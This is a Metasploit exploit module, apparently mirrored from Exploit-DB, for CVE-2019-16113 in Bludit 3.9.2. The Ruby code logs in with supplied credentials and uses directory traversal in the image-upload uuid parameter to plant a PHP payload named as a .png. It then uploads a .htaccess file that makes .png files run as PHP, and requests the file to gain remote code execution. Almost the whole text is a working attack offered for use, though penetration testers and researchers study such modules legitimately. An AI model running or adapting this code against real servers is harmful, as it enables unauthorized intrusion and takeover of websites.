Bludit – Directory Traversal Image File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2019-11-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47699/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE
    include Msf::Exploit::FileDropper
    include Msf::Auxiliary::Report
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
    'Description'=> %q{
    This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
    parameter in the image upload feature in order to save a malicious payload anywhere
    onto the server, and then use a custom .htaccess file to bypass the file extension
    check to finally get remote code execution.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'christasa', # Original discovery
    'sinn3r' # Metasploit module
    ],
    'References' =>
    [
    ['CVE', '2019-16113'],
    ['URL', 'https://github.com/bludit/bludit/issues/1081'],
    ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
    ],
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Notes'=>
    {
    'SideEffects' => [ IOC_IN_LOGS ],
    'Reliability' => [ REPEATABLE_SESSION ],
    'Stability' => [ CRASH_SAFE ]
    },
    'Targets'=>
    [
    [ 'Bludit v3.9.2', {} ]
    ],
    'Privileged' => false,
    'DisclosureDate' => "2019-09-07",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
    OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
    OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
    ])
    end
    
    class PhpPayload
    attr_reader :payload
    attr_reader :name
    
    def initialize(p)
    @payload = p
    @name = "#{Rex::Text.rand_text_alpha(10)}.png"
    end
    end
    
    class LoginBadge
    attr_reader :username
    attr_reader :password
    attr_accessor :csrf_token
    attr_accessor :bludit_key
    
    def initialize(user, pass, token, key)
    @username = user
    @password = pass
    @csrf_token = token
    @bludit_key = key
    end
    end
    
    def check
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'index.php')
    })
    
    unless res
    vprint_error('Connection timed out')
    return CheckCode::Unknown
    end
    
    html = res.get_html_document
    generator_tag = html.at('meta[@name="generator"]')
    unless generator_tag
    vprint_error('No generator metadata tag found in HTML')
    return CheckCode::Safe
    end
    
    content_attr = generator_tag.attributes['content']
    unless content_attr
    vprint_error("No content attribute found in metadata tag")
    return CheckCode::Safe
    end
    
    if content_attr.value == 'Bludit'
    return CheckCode::Detected
    end
    
    CheckCode::Safe
    end
    
    def get_uuid(login_badge)
    print_status('Retrieving UUID...')
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
    'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out')
    end
    
    html = res.get_html_document
    uuid_element = html.at('input[@name="uuid"]')
    unless uuid_element
    fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
    end
    
    uuid_val = uuid_element.attributes['value']
    unless uuid_val && uuid_val.respond_to?(:value)
    fail_with(Failure::Unknown, 'No UUID value')
    end
    
    uuid_val.value
    end
    
    def upload_file(login_badge, uuid, content, fname)
    print_status("Uploading #{fname}...")
    
    data = Rex::MIME::Message.new
    data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
    data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
    data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
    
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'cookie'=> "BLUDIT-KEY=#{login_badge.bludit_key};",
    'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
    'data'=> data.to_s
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out')
    end
    end
    
    def upload_php_payload_and_exec(login_badge)
    # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
    # To: /var/www/html/bludit/bl-content/tmp
    uuid = get_uuid(login_badge)
    php_payload = get_php_payload
    upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
    
    # On the vuln app, this line occurs first:
    # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
    # Even though there is a file extension check, it won't really stop us
    # from uploading the .htaccess file.
    htaccess = <<~HTA
    RewriteEngine off
    AddType application/x-httpd-php .png
    HTA
    upload_file(login_badge, uuid, htaccess, ".htaccess")
    register_file_for_cleanup('.htaccess')
    
    print_status("Executing #{php_payload.name}...")
    send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
    })
    end
    
    def get_php_payload
    @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
    end
    
    def get_login_badge(res)
    cookies = res.get_cookies
    bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
    
    html = res.get_html_document
    csrf_element = html.at('input[@name="tokenCSRF"]')
    unless csrf_element
    fail_with(Failure::Unknown, 'No tokenCSRF found')
    end
    
    csrf_val = csrf_element.attributes['value']
    unless csrf_val && csrf_val.respond_to?(:value)
    fail_with(Failure::Unknown, 'No tokenCSRF value')
    end
    
    LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
    end
    
    def do_login
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'admin', 'index.php')
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out')
    end
    
    login_badge = get_login_badge(res)
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
    'cookie'=> "BLUDIT-KEY=#{login_badge.bludit_key};",
    'vars_post' =>
    {
    'tokenCSRF' => login_badge.csrf_token,
    'username'=> login_badge.username,
    'password'=> login_badge.password
    }
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out')
    end
    
    # A new csrf value is generated, need to update this for the upload
    if res.headers['Location'].to_s.include?('/admin/dashboard')
    store_valid_credential(user: login_badge.username, private: login_badge.password)
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
    'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out')
    end
    
    new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
    login_badge.csrf_token = new_csrf if new_csrf
    return login_badge
    end
    
    fail_with(Failure::NoAccess, 'Authentication failed')
    end
    
    def exploit
    login_badge = do_login
    print_good("Logged in as: #{login_badge.username}")
    upload_php_payload_and_exec(login_badge)
    end
    end